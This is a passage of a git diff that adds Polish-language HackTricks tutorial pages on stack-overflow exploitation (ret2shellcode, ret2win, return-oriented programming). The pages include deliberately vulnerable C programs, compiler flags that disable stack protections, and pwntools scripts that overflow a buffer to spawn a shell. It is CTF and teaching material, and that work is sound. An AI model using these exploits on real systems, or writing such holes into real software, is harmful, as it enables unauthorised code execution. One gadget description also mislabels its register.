+ +## Podstawowe informacje + +**Ret2shellcode** to technika używana w eksploatacji binarnej, gdzie atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowany opis procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**. + +### Przykład w języku C: Podatny Program + +Zacznijmy od prostego przykładu podatnego programu w języku C: +```c +#include +#include + +void vulnerable_function() { +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow +} + +int main() { +vulnerable_function(); +printf("Returned safely\n"); +return 0; +} +``` +Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji `gets()`. + +### Kompilacja + +Aby skompilować ten program wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), możesz użyć poniższej komendy: +```sh +gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c +``` +* `-fno-stack-protector`: Wyłącza ochronę stosu. +* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie. +* `-no-pie`: Wyłącza wykonywalne pliki o pozycji niezależnej, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode. +* `-m32`: Kompiluje program jako plik wykonywalny 32-bitowy, często używany ze względu na prostotę w tworzeniu exploitów. + +### Python Exploit using Pwntools + +Oto jak można napisać exploit w Pythonie, korzystając z **pwntools**, aby przeprowadzić atak **ret2shellcode**: +```python +from pwn import * + +# Set up the process and context +binary_path = './vulnerable' +p = process(binary_path) +context.binary = binary_path +context.arch = 'i386' # Specify the architecture + +# Generate the shellcode +shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell + +# Find the offset to EIP +offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash + +# Prepare the payload +# The NOP slide helps to ensure that the execution flow hits the shellcode. +nop_slide = asm('nop') * (offset - len(shellcode)) +payload = nop_slide + shellcode +payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP +payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide + +# Send the payload +p.sendline(payload) +p.interactive() +``` +Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu shell**, a następnie nadpisuje **EIP** adresem wskazującym na slajd NOP, zapewniając wykonanie kodu shell. + +**Slajd NOP** (`asm('nop')`) jest używany do zwiększenia szansy na "przesunięcie" wykonania do naszego kodu shell bez względu na dokładny adres. Dostosuj argument `p32()` do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP. + +## Protections + +* [**ASLR**](../common-binary-protections/aslr.md) **powinien być wyłączony**, aby adres był niezawodny w różnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win. +* [**Kanarki stosu**](../common-binary-protections/stack-canaries.md) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany. +* [**NX**](../common-binary-protections/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu shell wewnątrz stosu, ponieważ ta część nie będzie wykonawalna. + +## Inne przykłady + +* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md new file mode 100644 index 000000000..ed4973293 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md @@ -0,0 +1,103 @@ +# Ret2win + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Podstawowe informacje + +Wyzwania **Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezainicjowanej funkcji wewnątrz pliku binarnego, często nazwanej np. `win`, `ret2win`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na żądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami: + +### Przykład w języku C + +Rozważ prosty program w języku C z podatnością i funkcją `win`, którą zamierzamy wywołać: +```c +#include +#include + +void win() { +printf("Congratulations! You've called the win function.\n"); +} + +void vulnerable_function() { +char buf[64]; +gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. +} + +int main() { +vulnerable_function(); +return 0; +} +``` +Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym **ASLR**, można użyć następującej komendy: +```sh +gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c +``` +* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF). +* `-fno-stack-protector`: Wyłącz ochronę przed przepełnieniem stosu. +* `-z execstack`: Pozwól na wykonanie kodu ze stosu. +* `-no-pie`: Wyłącz wykonywalny plik o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się. +* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`. + +### Wykorzystanie w Pythonie za pomocą narzędzia Pwntools + +Do wykorzystania wykorzystamy **Pwntools**, potężne narzędzie do pisania exploitów w ramach CTF. Skrypt exploitu stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`. +```python +from pwn import * + +# Set up the process and context for the binary +binary_path = './vulnerable' +p = process(binary_path) +context.binary = binary_path + +# Find the address of the win function +win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary + +# Create the payload +# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address. +payload = b'A' * 68 + win_addr + +# Send the payload +p.sendline(payload) +p.interactive() +``` +Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia pozwalającego na inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć: +```sh +objdump -d vulnerable | grep win +``` +To polecenie pokaże ci zestawienie funkcji `win`, wraz z jej adresem początkowym. + +Skrypt Pythona wysyła starannie spreparowaną wiadomość, która, gdy jest przetwarzana przez `vulnerable_function`, powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem `win`. Gdy `vulnerable_function` zwraca wartość, zamiast wracać do `main` lub zakończyć działanie, skacze do `win`, a wiadomość jest wyświetlana. + +## Protections + +* [**ASLR**](../common-binary-protections/aslr.md) **powinno być wyłączone** dla niezawodnego adresu w kolejnych wykonaniach, w przeciwnym razie adres, pod którym funkcja będzie przechowywana, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win. +* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany. + +## Inne przykłady + +* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) + +
+ +Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md new file mode 100644 index 000000000..ec3613eb5 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md @@ -0,0 +1,88 @@ +# ROP - Return Oriented Programing + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## **Podstawowe informacje** + +**Return-Oriented Programming (ROP)** to zaawansowana technika eksploatacji używana do obejścia zabezpieczeń takich jak **No-Execute (NX)** lub **Data Execution Prevention (DEP)**. Zamiast wstrzykiwać i wykonywać kod powłoki, atakujący wykorzystuje fragmenty kodu już obecne w binarnym pliku lub w załadowanych bibliotekach, znanych jako **"gadżety"**. Każdy gadżet zazwyczaj kończy się instrukcją `ret` i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety, atakujący może skonstruować ładunek w celu wykonania dowolnych operacji, skutecznie omijając zabezpieczenia NX/DEP. + +### Konwencje wywoływania + +Zrozumienie **konwencji wywoływania** jest kluczowe dla skutecznego tworzenia łańcuchów ROP, zwłaszcza podczas wywoływania funkcji lub manipulowania danymi: + +**x86 (32-bit)** + +* **cdecl**: Wywołujący czyści stos. Argumenty funkcji są przekazywane na stosie w odwrotnej kolejności (od prawej do lewej). **Argumenty są przekazywane na stosie od prawej do lewej.** +* **stdcall**: Podobnie jak cdecl, ale wywoływany jest odpowiedzialny za czyszczenie stosu. + +**x64 (64-bit)** + +* Używa konwencji wywoływania **System V AMD64 ABI** w systemach przypominających Unix, gdzie **pierwsze sześć argumentów całkowitych lub wskaźników jest przekazywane w rejestrach `RDI`, `RSI`, `RDX`, `RCX`, `R8` i `R9`**. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w `RAX`. +* Konwencja wywoływania **Windows x64** używa `RCX`, `RDX`, `R8` i `R9` dla pierwszych czterech argumentów całkowitych lub wskaźników, z dodatkowymi argumentami przekazywanymi na stosie. Wartość zwracana jest umieszczana w `RAX`. +* **Rejestry**: 64-bitowe rejestry obejmują `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` oraz `R8` do `R15`. + +{% hint style="danger" %} +Z tych konwencji wywoływania można zauważyć, że w **32 bitach argumenty** funkcji są **przekazywane przez stos**, podczas gdy w **x64** są **umieszczane w określonych rejestrach**. +{% endhint %} + +### Jak działa ROP + +1. **Przechwycenie przepływu sterowania**: Najpierw atakujący musi przejąć kontrolę nad przepływem programu, zazwyczaj wykorzystując przepełnienie bufora, aby nadpisać zapisany adres powrotu na stosie. +2. **Łańcuchowanie gadżetów**: Atakujący następnie ostrożnie wybiera i łączy gadżety, aby wykonać pożądane akcje. Może to obejmować ustawienie argumentów dla wywołania funkcji, wywołanie funkcji (np. `system("/bin/sh")`) i obsługę koniecznego sprzątania lub dodatkowych operacji. +3. **Wykonanie ładunku**: Gdy podatna funkcja zwraca, zamiast powrócić do prawidłowej lokalizacji, zaczyna wykonywać łańcuch gadżetów. + +### Łańcuch ROP w x86 + +Rozważmy hipotetyczny scenariusz, w którym chcemy wywołać `system("/bin/sh")` przy użyciu ROP w 32-bitowym binarnym pliku: + +1. **Znajdź Gadżety**: Załóżmy, że znaleźliśmy następujące gadżety w binarnym pliku lub załadowanych bibliotekach: +* `pop eax; ret`: Zdejmuje wartość ze stosu do `EAX` i zwraca. +* `pop ebx; ret`: Zdejmuje wartość ze stosu do `EAX` i zwraca. +* `mov [ebx], eax; ret`: Przenosi wartość z `EAX` do lokalizacji wskazywanej przez `EBX`. +* Adres `system`. +2. **Przygotuj Łańcuch**: Musimy przygotować stos, który wygląda następująco: +* Adres gadżetu ustawiającego `EBX`. +* Adres gadżetu `pop eax; ret`. +* Adres łańcucha `"/bin/sh"` w pamięci (lub gdzie planujemy go zapisać). +* Adres gadżetu `mov [ebx], eax; ret`, aby przenieść `"/bin/sh"` do lokalizacji wskazywanej przez `EBX`. +* Adres funkcji `system`, gdzie `EBX` wskazuje na nasz łańcuch. +3. **Wykonanie**: Gdy podatna funkcja zwraca, zaczyna wykonywać nasz łańcuch gadżetów, w końcu wywołując `system("/bin/sh")` i otwierając powłokę. + +### ROP w x64 + +Rozważmy hipotetyczny scenariusz, w którym chcesz wywołać `execve("/bin/sh", NULL, NULL)` na systemie x64, korzystając z konwencji wywoływania System V AMD64 ABI: + +1. **Znajdowanie Gadżetów**: Najpierw musisz znaleźć gadżety, które umożliwią kontrolę nad rejestrami `RDI`, `RSI` i `RDX`, ponieważ będą one przechowywać argumenty dla `execve`. +2. **Konstrukcja Łańcucha**: +* **Ustaw `RDI`, aby wskazywał na łańcuch `"/bin/sh"`**: Zazwyczaj jest to wykonywane za pomocą gadżetu `pop RDI; ret`, a następnie adresu łańcucha (który może być umieszczony w ładunku lub znaleziony w pamięci). +* **Wyzeruj `RSI` i `RDX`**: Ponieważ drugi i trzeci argument dla `execve` to `NULL`, potrzebujesz gadżetów do wyzerowania tych rejestrów, takich jak `xor RSI, RSI; ret` i `xor RDX, RDX; ret`. +* **Wywołaj `execve`**: W końcu potrzebny jest gadżet, który przeskakuje do `execve` (lub pośrednio ją wywołuje). +3. **Wykonanie Ładunku**: Po skonstruowaniu i wysłaniu tego ładunku do podatnej aplikacji, łańcuch ROP wykonuje się, uruchamiając powłokę. + +Ponieważ x64 używa rejestrów dla kilku pierwszych argumentów, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i łączenie odpowiednich gadżetów może być bardziej skomplikowane ze względu na zwiększoną liczbę rejestrów i większą przestrzeń adresową. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stanowią zarówno szanse, jak i wyzwania dla rozwoju eksploatacji, zwłaszcza w kontekście Return-Oriented Programming (ROP). + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +